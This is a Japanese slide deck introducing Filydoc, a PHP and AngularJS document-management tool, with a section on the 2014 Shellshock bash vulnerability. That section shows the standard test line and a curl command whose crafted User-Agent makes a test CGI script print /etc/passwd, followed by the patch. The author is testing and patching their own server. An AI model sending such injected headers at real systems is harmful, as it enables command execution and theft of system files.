Angular js活用事例：filydoc

AngularJS活用事例(?)@kobayan_tokyo

自己紹介

Twitter: @kobayan_tokyo GitHub: kobakeWeb site: http://clock-up.jp

元ゲーム屋

現Web屋、現ゲーム屋手伝い、現講師

HTML5で何ができる…？

キャンバスとか・・

カメラとか・・

音とか・・

P2Pとか・・

加速度とか・・

Storageとか・・

HTML5で廃止されるタグ

出典：http://www.htmq.com/html5/002.shtml

<acronym> <applet> <basefont> <bgsound> <big> <blink> <center>

<dir> <font> <frame> <frameset>

<isindex> <listing> <marquee> <nobr> <noembed> <noframes> <plaintext> <rb> <spacer> <strike> ation: line-throughで指定

<tt> <u> <xmp>

frameサイトの危機

http://homepage3.nifty.com/abe-hiroshi/

Filydocというものを作りました

ドキュメント管理ツール

http://filydoc.net/

AngularJSを使う

$location … URLをゴニョる

AngularJSを使う

とりあえずどこかのへんを全読したような記憶

AngularJS入門 | AngularJS 1.2 日本語リファレンス | js STUDIOhttp://js.studio-kingdom.com/angularjs/guide/introduction

AngularJS Startup Advent Calendar 2013 - Qiitahttp://qiita.com/advent-calendar/2013/angularjs-startup

依存性注入とか諸々勉強になりました。

そんなことよりbashが怖い

出典：http://japan.cnet.com/news/service/35054245/

> 「Bourne Again SHell（Bash）」に重大なセキュリ

ティホールが発見された。…ハッカーは特別に作

成した変数を用いてセキュリティホールを突き、

シェルコマンドを実行できる

そんなことよりbashが怖い

出典：https://x86-64.jp/blog/CVE-2014-6271

$ AHO='() { baka; }; echo manuke' bash -c 'echo Hi'

もし出力の中にmanukeが含まれていたら、そのホストは今回発表

された脆弱性に対して危険な状態です。

試してみた

$ AHO='() { baka; }; echo manuke' bash -c 'echo Hi'

manukeHi

試してみた

$ AHO='() { baka; }; echo manuke' bash -c 'echo Hi'

manukeHi

みんな脅してくる(☍﹏⁰)https://x86-64.jp/blog/CVE-2014-6271system()や類似の関数を用いたCGIスクリプトは、OSコマンド実行のために

bashを呼び出しているかもしれません。

http://techblog.clara.jp/2014/09/bash-vulnerability-vol1-verification/想定例としては、ApacheなどのWebサーバ上にある cgi 等へ、問題のコー

ドを環境変数として引き渡すと、任意のコマンドが実行できてしまうことでしょ

うか。

実はFilydocは内部的にgrep呼んでたり

// 起動コマンドの構築

$dir_path = DATA_ROOT;$cmd = "grep "

. " " . "-R -i -n --" // recursive, ignore case, line number

. " " . escapeshellarg($keyword)

. " " . escapeshellarg($dir_path);

// grep起動

$handle = popen($cmd, 'r');$webpathItems = array();

（｀ェ´）ピャー

（｀ェ´）ピャー

（｀ェ´）ピャー？

結論：特に問題はなかった

一応実験

xxx.cgi----------------------#!/bin/shecho "Content-Type: text/html"echo ""echo "test"----------------------

（｀ェ´）ピャー!!!!!!!!!!!!$ curl -A "() { :;}; echo Content-type:text/plain;echo; /bin/cat /etc/passwd " "http://xxx/xxx.cgi"root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/sync…

でも怖いから（｀ェ´）ピャー

# yum update bash…===============================================Updating: bash x86_64 4.1.2-15.el6_5.1 updates 905 k===============================================…Upgrade 1 Package(s)Total download size: 905 kIs this ok [y/N]: y

（´∀｀）

$ AHO='() { baka; }; echo manuke' bash -c 'echo Hi'bash: warning: AHO: ignoring function definition attemptbash: error importing function definition for `AHO'Hi

おまけ程度に

Filydocの紹介

ドキュメント整理をもっと速く速く

・ブログ…遅い

・wiki…遅い

ドキュメント整理をもっと早く早く

・ブログ…遅い

・wiki…遅い

何故か？

何故遅いのか？

Webだからさ・ネットワーク遅延が地味にストレス

・編集インターフェースがサービス依存

(C)ガンダム

30倍速いドキュメント整理

ネイティブファイル…速い＆柔軟

(C)ガンダム

ネイティブファイル最強説

・ネットワーク遅延という概念がない

・フォルダにポイポイ移動できる

・好きなエディタでポイポイ編集できる

・好きなツールでポイポイ変換できる

・sedで置換とかできる

・gitとかでポイポイ管理できる

切実な場面

・ドキュメント数が数百に達した

作ったもの：Filydochttp://filydoc.net/https://github.com/kobake/filydochttp://memo.clock-up.jp/http://blog.clock-up.jp/entry/2014/07/07/filydoc

コンテンツ編集風景

対応フォーマット

・Plain text・Markdown・Java・PHP

強み

・ネイティブファイル

・フォルダがそのままツリー構造になる

・フツーのレンタルサーバで使える

・全文検索、クイックフィルタ

・閲覧UXもそこそこ高速感がある

・パンくず

構成とか

言語など

・生PHP (フツーのレンタルサーバで使える!!)・AngularJS

高速化

・ツリー状態をシリアライズしてまるっとキャッシュ

最近追加した機能

・URL自動リンク&自動タイトル表示

・GitHubログインしてコンテンツ直編集

課題(issues)・Html format support・Plain text support (済)・Editing content on web browser (済)

追加技術

・SQLite (URLタイトルのキャッシュに使用)　… フツーのレンタルサーバで動くか不安なので

　　　代替手段も準備予定。

PHPの強み

・結局どこのサーバでも実行できる

ご清聴

ありがとうございました